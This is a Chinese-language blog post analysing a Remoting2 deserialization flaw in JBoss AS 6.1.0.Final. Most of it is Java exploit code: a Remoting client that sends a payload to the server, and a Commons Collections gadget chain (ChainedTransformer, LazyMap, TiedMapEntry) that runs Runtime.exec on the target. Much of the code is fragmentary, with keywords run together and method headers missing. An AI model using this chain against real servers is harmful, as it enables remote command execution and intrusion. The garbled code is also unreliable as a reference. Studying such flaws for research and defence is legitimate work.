前段时间读了@Y4ar师傅分析JBoss的文章和《A little bit beyong \xAC\xED》的原文,起初简单的看下,以为是普通的反序列漏洞,后面经过分析才察觉是关于JBoss的Remoting2协议的漏洞。本文以JBoss AS 6.1.0.Final为例,主要分析与@Y4ar师傅稍有不同的一种反序列化触发方式。
public ServerInvocationHandler addInvocationHandler(String subsystem, final ServerInvocationHandler handler)throws Exception { if (this.invoker == null) { thrownew IllegalStateException("You may only add handlers once the Connector is created (via create() method)."); } else { AccessController.doPrivileged(new PrivilegedAction() { public Object run(){ handler.setMBeanServer(Connector.this.server); returnnull; } }); returnthis.invoker.addInvocationHandler(subsystem, handler); } }
publicstaticvoidmakeInvocation(String locatorURI)throws Throwable { InvokerLocator locator = new InvokerLocator(locatorURI); System.out.println("Calling remoting server with locator uri of: " + locatorURI);
Client remotingClient = new Client(locator);
HashMap<String,Object> mateMap = new HashMap<>(); mateMap.put("test",ApacheCommonsCollections6.getObject()); remotingClient.connect(); remotingClient.invoke(mateMap); remotingClient.invoke("jhb ",mateMap);
Transformer[] realChain = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"whoami"})};
Transformer chain = new ChainedTransformer(realChain); Map innermap = new HashMap(); Map outermap = LazyMap.decorate(innermap, chain); TiedMapEntry tme = new TiedMapEntry(outermap, "mykey"); HashSet hs = new HashSet(1); hs.add("diggid"); Field mapField = Class.forName("java.util.HashSet").getDeclaredField("map"); mapField.setAccessible(true); HashMap hm = (HashMap) mapField.get(hs); Field tableField = Class.forName("java.util.HashMap").getDeclaredField("table"); tableField.setAccessible(true); Object[] tableArray = (Object[]) tableField.get(hm); Object table = tableArray[0]; Field key = table.getClass().getDeclaredField("key"); key.setAccessible(true); key.set(table, tme); return hs; } }
publicclassSimpleClient{ // Default locator values privatestatic String transport = "http"; privatestatic String host = "localhost"; privatestaticint port = 5400;
publicvoidmakeInvocation(String locatorURI)throws Throwable { // create InvokerLocator with the url type string // indicating the target remoting server to call upon. InvokerLocator locator = new InvokerLocator(locatorURI); System.out.println("Calling remoting server with locator uri of: " + locatorURI);
Client remotingClient = new Client(locator);
// make invocation on remoting server and send complex data object // by default, the remoting http client invoker will use method type of POST, // which is needed when ever sending objects to the server. So no metadata map needs // to be passed to the invoke() method. Object response = remotingClient.invoke(new ComplexObject(2, "foo", true), null);
System.out.println("\nResponse from remoting http server when making http POST request and sending a complex data object:\n" + response);
Map metadata = new HashMap(); // set the metadata so remoting client knows to use http GET method type metadata.put("TYPE", "GET"); // not actually sending any data to the remoting server, just want to get its response response = remotingClient.invoke((Object) null, metadata);
System.out.println("\nResponse from remoting http server when making GET request:\n" + response);
// now set type back to POST and send a plain text based request metadata.put("TYPE", "POST"); response = remotingClient.invoke(WebInvocationHandler.STRING_RETURN_PARAM, metadata);
System.out.println("\nResponse from remoting http server when making http POST request and sending a text based request:\n" + response);
// notice are getting custom response code and message set by web invocation handler Integer responseCode = (Integer) metadata.get(HTTPMetadataConstants.RESPONSE_CODE); String responseMessage = (String) metadata.get(HTTPMetadataConstants.RESPONSE_CODE_MESSAGE); System.out.println("Response code from server: " + responseCode); System.out.println("Response message from server: " + responseMessage); } }
看了JBoss其他反序列化漏洞、4446和3873这两个端口漏洞,感觉JBoss就像个筛子,特别是Remoting这个协议。后面在JBoss EAP 6.x和JBoss/Wildfly AS 7.x及往后版本,JBoss/Wildfly已默认不使用remoting2协议,而是使用了引入身份认证机制的remoting3协议。感觉remoting3协议可分析看看也没有什么漏洞,但最坑的是这么多年过去了,remoting3竟然连份文档都没有。。。